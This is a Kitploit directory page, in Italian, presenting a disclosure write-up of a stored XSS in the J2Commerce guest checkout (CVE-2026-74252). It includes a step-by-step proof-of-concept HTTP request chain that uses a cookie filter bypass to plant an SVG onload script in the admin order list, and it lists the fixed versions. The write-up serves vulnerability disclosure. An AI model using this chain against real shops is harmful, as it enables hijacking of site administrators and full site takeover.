Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-74252 — XSS persistente nel checkout ospite di J2Commerce tramite bypass del filtro dei cookie | Kitploit
Strumenti/GitHubGitHub/toanln-cov/cve-2026-74252
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza Web
GitHubtoanln-cov/cve-2026-74252

CVE-2026-74252

XSS persistente nel checkout ospite di J2Commerce tramite bypass del filtro dei cookie

Vedi Repository
2 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Stored XSS in J2Commerce Guest Checkout via Cookie Filter Bypass

J2Commerce (com_j2store) ≤ 4.1.5 — Un Attaccante Non Autenticato Memorizza un Payload XSS che si Esegue Automaticamente nel Browser dell'Amministratore al Caricamento della Pagina

CVE CVSS v4.0 CWE-79 Affected Researcher


SOMMARIO

J2Commerce 4.1.5 è vulnerabile a Cross-Site Scripting Memorizzato (XSS) tramite i campi dell'indirizzo di fatturazione del checkout ospite. Un attaccante non autenticato sfrutta un bypass del filtro in Input::getArray() di Joomla combinato con variables_order=EGPCS di PHP (il cookie sovrascrive POST in $_REQUEST) per memorizzare HTML non sanitizzato in campi come billing_first_name. Questi campi vengono stampati direttamente nel pannello di gestione ordini dell'amministratore senza , causando l'esecuzione del payload nel browser dell'amministratore.

Scarica lo strumento
htmlspecialchars()

Il payload XSS si attiva automaticamente al caricamento della pagina quando l'amministratore accede all'elenco degli ordini — non è richiesto alcun clic su un singolo ordine. Una singola catena di richieste HTTP (aggiungi al carrello → invia checkout con bypass del cookie → effettua l'ordine) memorizza permanentemente il payload, che verrà eseguito nel browser di ogni amministratore finché l'ordine non viene eliminato o la vulnerabilità non viene corretta.

L'attacco non richiede autenticazione da parte dell'attaccante. Il checkout ospite è una funzionalità standard e comunemente abilitata dei siti di e-commerce, che offre un incentivo economico per gli amministratori a visualizzare i nuovi ordini — rendendo lo sfruttamento banale da trasformare in arma.


VERSIONI INTERESSATE

COMPONENTEVULNERABILETESTATO SUCORRETTO
J2Commerce (com_j2store)1.0.0 – 4.1.54.1.5 su Joomla 5.4.7 + MySQL 8.03.3.21 / 4.0.21 / 4.1.6

DETTAGLI DELLA VULNERABILITÀ

Tipo: Cross-Site Scripting — Memorizzato (CWE-79) Autenticazione richiesta: Nessuna — non autenticato (checkout ospite) Sink primario: administrator/components/com_j2store/views/orders/tmpl/default_items.php:73 Percorso di scrittura: components/com_j2store/controllers/checkouts.php:535

Causa principale

La vulnerabilità consiste in due debolezze combinate: un bypass del filtro di input nel percorso di scrittura e la mancanza di codifica dell'output nel percorso di lettura.

1. Bypass del filtro di input — uso improprio di Input::getArray() di Joomla

Il controller del checkout ospite di J2Commerce legge i campi dell'indirizzo usando $app->input->getArray($_POST). L'implementazione di Joomla itera l'array $_POST e usa ogni valore come tipo di filtro (non come dato), leggendo il valore effettivo da $_REQUEST:

COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — PERCORSO DI SCRITTURA

root@kitploit:~
$data = $app->input->getArray($_POST);

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — METODO GETARRAY() (RIGA 187)

root@kitploit:~
public function getArray(array $vars = [], $datasource = null)
{
    foreach ($vars as $k => $v) {
        $results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
    }
}

LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — ORIGINE DEI DATI (RIGA 97)

root@kitploit:~
$this->data = $source ?? $_REQUEST;  // Reads from $_REQUEST, not $_POST

2. variables_order di PHP — il cookie sovrascrive POST in $_REQUEST

$_REQUEST di PHP è una superglobale fusa costruita da $_GET, $_POST e $_COOKIE. Quando variables_order=EGPCS (il default compilato per la maggior parte degli ambienti PHP), Cookie (C) è elencato dopo POST (P), quindi il cookie vince per le chiavi in conflitto.

Inviare first_name=RAW nel corpo POST fa sì che InputFilter::clean() di Joomla applichi il tipo di filtro 'Raw' (no-op) al valore del cookie first_name=<svg...>, che vince in $_REQUEST.

LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — METODO CLEAN() (RIGA 215)

root@kitploit:~
$type = ucfirst(strtolower($type));  // 'RAW' → 'Raw'
if ($type === 'Raw') {
    return $source;  // ← no sanitization — returns cookie value unchanged
}

Risultato netto: il corpo POST first_name=RAW imposta il filtro come no-op. Il cookie first_name=<svg onload="alert(document.domain)"> vince in $_REQUEST. Joomla restituisce il valore del cookie senza filtri. J2Commerce lo memorizza non sanitizzato in j2store_orderinfos.billing_first_name.

3. Mancata codifica dell'output — sink nei template dell'amministrazione

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — SINK PRIMARIO (si attiva al caricamento della pagina elenco)

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>

ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — SINK SECONDARIO

root@kitploit:~
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>

Questo bypass funziona in tutti gli ambienti PHP tranne Debian/Ubuntu (che impostano esplicitamente request_order = "GP", escludendo i cookie da $_REQUEST). Tutti gli altri principali ambienti di hosting — hosting condiviso cPanel/Plesk, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — ripiegano su EGPCS, rendendo la sovrascrittura tramite cookie attiva fin da subito senza richiedere modifiche di configurazione.


PROVA DI CONCETTO

1. Baseline Amministratore — Elenco Ordini Prima dell'Attacco

Apri l'elenco ordini di J2Commerce nell'amministrazione come amministratore vittima. Questo conferma che l'amministratore sta usando attivamente il pannello e incontrerà il payload alla prossima visita.

s1-step1-admin-orders-baseline

2. Estrarre il Token CSRF dal Frontend

In qualità di attaccante non autenticato, invia una richiesta GET alla homepage del frontend di J2Commerce per stabilire una sessione ed estrarre il token CSRF incorporato nelle opzioni JSON della pagina. Questo token è necessario per le successive richieste POST.

s1-step2-csrf-token-extract

3. Aggiungere un Prodotto al Carrello

Aggiungi un prodotto al carrello dell'attaccante. Il carrello deve essere non vuoto affinché l'endpoint del checkout ospite accetti l'invio dell'indirizzo.

root@kitploit:~
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

s1-step3-add-product-to-cart

4. BYPASS CHIAVE — Inviare il Checkout Ospite con il Trucco del Filtro Cookie

Invia il modulo dell'indirizzo del checkout ospite con due valori in conflitto per first_name:

  • Corpo POST: first_name=RAW — Joomla lo interpreta come tipo di filtro (no-op)
  • Cookie: first_name=<svg...> — vince in $_REQUEST (PHP EGPCS: Cookie > POST) e viene restituito senza filtri
root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E

first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

s1-step4-cookie-bypass-guest-checkout

5. Completare la Validazione della Spedizione

Invia il passaggio dell'indirizzo di spedizione usando lo stesso bypass del cookie. Questo passaggio imposta il paese di spedizione in sessione — saltarlo causa un errore "SHIPPING_ADDRESS_NOT_FOUND" nei passaggi successivi.

s1-step5-shipping-validate

6. Selezionare il Metodo di Pagamento

Seleziona il metodo di pagamento (pagamento alla consegna). Il campo payment_plugin non è un input di testo suscettibile a XSS.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1

payment_plugin=payment_cash&<csrf_token>=1

s1-step6-select-payment-method

7. Recuperare l'Hash di Conferma dell'Ordine

Invia il passaggio di conferma per ricevere la pagina di riepilogo dell'ordine contenente un campo hash nascosto. Questo hash è necessario per finalizzare l'ordine.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1

accept_terms=1&<csrf_token>=1

s1-step7-retrieve-order-hash

8. Effettuare l'Ordine — Payload XSS Salvato nel Database

Finalizza l'ordine usando l'hash del passaggio precedente. Il server crea il record dell'ordine in joom_j2store_orderinfos con billing_first_name impostato al payload XSS non sanitizzato.

root@kitploit:~
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1

hash=<hash_from_step7>&<csrf_token>=1

s1-step8-place-order-xss-persisted

9. XSS si Esegue nel Pannello Amministratore — Automatico al Caricamento della Pagina

In qualità di amministratore vittima, vai all'elenco ordini di J2Commerce. Il payload XSS si attiva immediatamente al caricamento della pagina — nessun clic richiesto. Il template default_items.php:73 renderizza billing_first_name senza escape nella colonna Cliente.

Quando l'amministratore visualizza l'ordine, la risposta del server include:

root@kitploit:~
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>

s1-step9-xss-triggers-on-page-load


IMPATTO

  1. Dirottamento della Sessione Amministratore — JavaScript eseguito nel backend amministratore ha accesso ai cookie di sessione dell'amministratore (a meno che non siano HttpOnly) e può esfiltrarli verso un server controllato dall'attaccante, consentendo il completo takeover dell'account senza richiedere le credenziali dell'amministratore.
  2. Creazione di un Account Amministratore Non Autorizzato — Il payload XSS può chiamare programmaticamente l'API di gestione utenti di Joomla per creare un nuovo account super-amministratore, concedendo all'attaccante accesso persistente anche dopo la rotazione della password o l'invalidazione della sessione.
  3. Installazione di Plugin Dannosi — Con l'esecuzione di JS a livello amministratore, l'attaccante può attivare gli endpoint di installazione dei plugin per caricare una webshell PHP, ottenendo l'Esecuzione di Codice Remoto sul server sottostante senza ulteriore interazione.
  4. Compromissione Completa del Sito Web — L'attaccante ottiene la capacità di modificare qualsiasi contenuto, estrarre il database (inclusi i dati personali dei clienti e i riferimenti di pagamento), iniettare malware nelle pagine del frontend e stabilire backdoor persistenti — configurando un takeover completo del sito.
  5. Nessun Prerequisito di Attacco Oltre all'Effettuazione di un Ordine — Il checkout ospite è una funzionalità standard e comunemente abilitata dei siti di e-commerce. Qualsiasi visitatore anonimo può attivare questo attacco inviando un modulo di checkout — fornendo un incentivo economico (gli amministratori rivedono regolarmente gli ordini), rendendo lo sfruttamento banale da trasformare in un'arma su larga scala.

RIFERIMENTI

  • CVE: https://www.cve.org/CVERecord?id=CVE-2026-74252
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-74252
  • GitHub Advisory: https://github.com/advisories/GHSA-42m7-jqh7-g85c
  • Annuncio di Sicurezza del Fornitore: https://www.j2commerce.com/blog/security-announcement-releases-3-3-21-4-0-21-and-4-1-6
  • Repository del Fornitore: https://github.com/j2store/J2Store